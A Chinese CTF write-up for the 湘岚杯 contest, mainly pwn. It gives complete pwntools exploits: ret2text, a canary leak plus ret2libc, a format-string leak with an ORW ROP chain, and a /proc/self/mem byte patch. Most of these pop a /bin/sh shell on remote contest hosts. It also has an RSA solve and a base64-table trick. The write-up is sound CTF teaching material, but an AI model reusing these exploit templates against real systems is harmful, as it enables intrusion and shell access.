湘岚杯wp
主pwn
写在前面
i春秋冬季挑战赛和湘岚杯两头跑,结果两边都没打好( 但不得不说湘岚杯虽是新生难度,还是出的不错的,例如宇宙射线这道题,记录一下
[TOC]
pwn
ret2text签到
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p=remote('localhost',40777)
p.recv()
payload = b'a'*(0xa+8) + p64(0x401158)
p.sendline(payload)
p.interactive()ezlibc
开了canary的libc,可以当板子
from pwn import *
context.log_level='debug'
context.terminal = ['gnome-terminal','-x','sh','-c']
#STEP1
#r = process("./ezlibc")
r = remote("localhost",43679)
elf = ELF("./ezlibc")
libc = ELF("/home/gsnb/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
rdi_addr = 0x0000000000400843
#ROPgadget --binary ezlibc --only "pop|rdi|ret"
r.recvuntil('flag!')
payload1=b'a'*(0x30-0x9)+b'b'
r.sendline(payload1)
r.recvuntil(b'ab')
canary = u64(r.recv(8))
canary = canary-0x0a
print('canary:',hex(canary))
r.recvuntil('the key')
payload1 = b'a'*(0x30-8)+p64(canary)+p64(0) + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.sendline(payload1)
puts_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("puts_addr = ", hex(puts_addr))
base_addr = puts_addr - libc.symbols['puts']
system_addr = base_addr + libc.symbols['system']
bin_sh_addr = base_addr + next(libc.search(b"/bin/sh"))
ret_addr=0x000000000040059e
payload = b'a'*(0x30-8)+p64(canary)+p64(0)+p64(ret_addr) + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
r.sendline(payload)
r.interactive()
sandbox
开了canary的orw,orw是纯rop链,也可以当板子
利用格式化字符串可以泄露canary,再利用溢出来打orw
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
r = remote('xlctf.huhstsec.top',39205)
#r = process('./attachment')
elf =ELF('./attachment')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
bss = 0x404060+0x200
r.recvuntil(b'orw?')
payload3 = b'%13$p%19$p'
r.send(payload3)
r.recvuntil(b'there is your gift\n')
canary = int(r.recv(18),16)
print(hex(canary))
#libc_base = int(r.recv(14),16)
libc_base = int(r.recv(14),16) -0x29d90
print(hex(libc_base))
#gdb.attach(r)
#pause()
open_addr=libc_base+libc.sym['open']
read_addr=libc_base+libc.sym['read']
write_addr=libc_base+libc.sym['write']
rdi = 0x000000000002a3e5+libc_base
rsi = 0x000000000002be51+libc_base
rdx_r12 = 0x000000000011f2e7+libc_base
payload = b'a'*0x38+p64(canary)
#调用open函数
payload +=b'/flag\x00\x00\x00'+ p64(rdi) #这里需要放入/flag字节,来打开文件
payload += p64(bss+0x40)
payload += p64(rsi)
payload += p64(0)
payload += p64(open_addr)
#构造read函数,读取flag
payload += p64(rdi)
payload += p64(3)
payload += p64(rsi)
payload += p64(bss+0x700)
payload += p64(rdx_r12)
payload += p64(0x100)*2
payload += p64(read_addr)
#构造write函数,打印flag
payload += p64(rdi)
payload += p64(1)
payload += p64(rsi)
payload += p64(bss+0x700)
payload += p64(rdx_r12)
payload += p64(0x100)*2
payload += p64(write_addr)
r.recvuntil(b'it?')
payload1 = b'a'*(0x40-0x8)+p64(canary)+p64(bss+0x40)+p64(0x40135b) #read
r.sendline(payload1)
r.recvuntil(b'it?')
r.sendline(payload)
r.interactive()
宇宙射线
挺不错的一道题目
/proc/self/mem(来自chatgpt)
/proc/self/mem 是 Linux 系统中的一个特殊文件,它代表当前进程的内存映像。以下是关于这个文件的一些关键点:
1. 特殊文件
/proc/self/mem 是 /proc 文件系统的一部分,/proc 文件系统提供了关于系统和进程的实时信息。
self 是一个指向当前进程的符号链接,因此 /proc/self/mem 实际上是指向当前进程的内存。
2. 内存访问
通过打开 /proc/self/mem,进程可以直接读取和写入其自身的内存。这使得程序能够访问其内存中的任意位置,包括堆、栈和全局变量。也就是说/proc/self/mem指向的是当前正在执行的这个pwn附件
这里有两次输入,第一次是输入一个十六进制形式的地址,第二次是对这个地址的内容进行修改,这样我们就可以对这个程序内任意地方做一字节的修改,甚至是代码段(后面也上提示了)
注意到这里有一个sys_exit,我们把它的系统调用号改了(0xCh),改一个字节成sys_read(0x0)
快捷键d可以看修改的text段地址
调试观察sys_read写入时的栈空间,需要填充0x12+8个垃圾字节
然后就是正常打ret2libc就行了,还需要注意的一点是这个题没有pop rdi gadget,利用程序给的key,先pop rbp,再mov rdi,rbp即可达到pop rdi的效果。
exp:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote('101.43.67.25',8090)
#p = process('./pwn')
elf =ELF('./pwn')
libc = ELF('./libc.so.6')
rbp = 0x4012a2
rdi_rbp = 0x40129e
ret = 0x4012a3
#gdb.attach(p)
#pause()
p.recvuntil(b'cosmic rays:')
p.sendline(b'0x401562')
p.recvuntil(b'data sent:')
p.sendline(b'0')
payload = b'a' * (0x12+8) + p64(rbp) + p64(elf.got["puts"]) + p64(rdi_rbp) + p64(0) + p64(elf.sym["puts"]) + p64(0x401309)
p.send(payload)
p.recvuntil(b'\n')
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - libc.sym["puts"]
print(hex(libc_base))
p.recvuntil(b'cosmic rays:')
p.sendline(b'0x401562')
p.recvuntil(b'data sent:')
p.sendline(b'0')
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))
payload = b'a'*(0x12+8) +p64(ret) + p64(rbp) + p64(bin_sh_addr) + p64(rdi_rbp) + p64(0) + p64(system_addr)
p.send(payload)
p.interactive()
crypto
RSA就是数学口牙(签到)
import gmpy2
from sympy import symbols, Eq, solve
# Given values
sum_pq = 0x1232fecb92adead91613e7d9ae5e36fe6bb765317d6ed38ad890b4073539a6231a6620584cea5730b5af83a3e80cf30141282c97be4400e33307573af6b25e2ea
prod_pq_plus1 = 0x5248becef1d925d45705a7302700d6a0ffe5877fddf9451a9c1181c4d82365806085fd86fbaab08b6fc66a967b2566d743c626547203b34ea3fdb1bc06dd3bb765fd8b919e3bd2cb15bc175c9498f9d9a0e216c2dde64d81255fa4c05a1ee619fc1fc505285a239e7bc655ec6605d9693078b800ee80931a7a0c84f33c851740
ciphertext = 0x21bfef2961c512fbb81fd75ca1c38cbc810dee21d04de1e749c9a24cc975447acc1098228108f25a5ab4840212b2c0f305aabb17ee6835599425ffeedb85698ff9edbc70d9e87acd5232526304948f806c0283776d3eb217599e06616a12d899b14723bfeb29becb10e464247760f828463eb4f0536244771c648b6445fab855
e = 0xe6b1bee47bd63f615c7d0a43c529d219
# Solve for p and q
p, q = symbols('p q', integer=True)
eq1 = Eq(p + q, sum_pq)
eq2 = Eq((p + 1) * (q + 1), prod_pq_plus1)
solutions = solve((eq1, eq2), (p, q))
p = int(solutions[0][0])
q = int(solutions[0][1])
# Calculate n and phi
n = p * q
phi = (p - 1) * (q - 1)
# Calculate the private key d
d = gmpy2.invert(e, phi)
# Decrypt the ciphertext
m = pow(ciphertext, d, n)
# Convert the decrypted message to a string
flag = bytes.fromhex(hex(m)[2:]).decode()
print("Flag:", flag)你真的懂社会主义核心价值观吗
先社会主义核心价值观再base64
misc
宇宙编史
零宽隐写
base64游戏
题目是一个远程加密器,会对你的输入进行base64编码,如果得到了base64编码表,就能拿到flag
已知:base64原表 base64编码前后的数据
求:base64换的表
将原表进行解码后再去程序编码,得到的就是换后的码表
exp:
from pwn import*
import base64
p = remote("xlctf.huhstsec.top",40662)
encoded_str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
decoded_bytes = base64.b64decode(encoded_str) #解码
print(decoded_bytes)
p.sendlineafter(b'encode:', decoded_bytes)
p.recvuntil(b'Encode: ')
p.interactive()